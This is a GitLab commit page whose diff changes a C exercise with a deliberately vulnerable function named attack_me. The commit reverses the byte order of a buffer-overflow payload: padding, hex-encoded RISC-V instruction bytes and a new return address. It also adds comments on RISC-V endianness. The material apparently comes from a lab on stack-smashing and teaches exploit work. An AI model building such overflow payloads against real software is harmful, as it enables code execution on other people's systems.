Skip to content
Snippets Groups Projects
Commit d152b128 authored by fptk's avatar fptk
Browse files

correct endianess

parent 6851d775
No related branches found
No related tags found
No related merge requests found
...@@ -100,6 +100,7 @@ char *attack_me(char *data, uint32_t data_len) { ...@@ -100,6 +100,7 @@ char *attack_me(char *data, uint32_t data_len) {
* 0x80000f37 * 0x80000f37
* 0x1f * 0x1f
* 0x0 * 0x0
* H=6C6C6148 Hall
*/ */
int main(void) { int main(void) {
...@@ -116,7 +117,11 @@ int main(void) { ...@@ -116,7 +117,11 @@ int main(void) {
//char *attack = "a12342234324452346234723482349234HAHA\x80\x12\x01\x20\xca\x13\x01\x20"; //char *attack = "a12342234324452346234723482349234HAHA\x80\x12\x01\x20\xca\x13\x01\x20";
//buffer address //buffer address
/* /*
* RISC SPEICHER:
* MSB LSB
* 6C6C6148 = 'Hall' | 6c =108 = l
http://csci206sp2020.courses.bucknell.edu/files/2020/01/riscv-card.pdf http://csci206sp2020.courses.bucknell.edu/files/2020/01/riscv-card.pdf
lsb MSB
0 ...... 31 0 ...... 31
Lui a5,0x80001 Lui a5,0x80001
0110 1110 0001 1111 0011 1000 1000 0001 0110 1110 0001 1111 0011 1000 1000 0001
...@@ -162,7 +167,8 @@ the new return address: ...@@ -162,7 +167,8 @@ the new return address:
*/ */
char *attack = "a0aaa1aaa2aaa3aaa\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca\x12\x23\x34\x45\x50\x0f\x00\x80"; char *attack = "a0aaa1aaa2aaa3aaa\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca\x12\x23\x34\x45\x50\x0f\x00\x80";
char *result = attack_me(attack, 26); char *revattack = "a0aaa1aaa2aaa3aaa\x81\x38\x1f\x6e\xa1\xea\xe4\x06\x01\xe0\xa0\x26\xca\x13\x01\xde\x45\x34\x23\x12\x58\x0f\x00\x80";
char *result = attack_me(revattack, 26);
printf("%s", result); printf("%s", result);
...@@ -182,4 +188,3 @@ the new return address: ...@@ -182,4 +188,3 @@ the new return address:
return 0; return 0;
} }
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment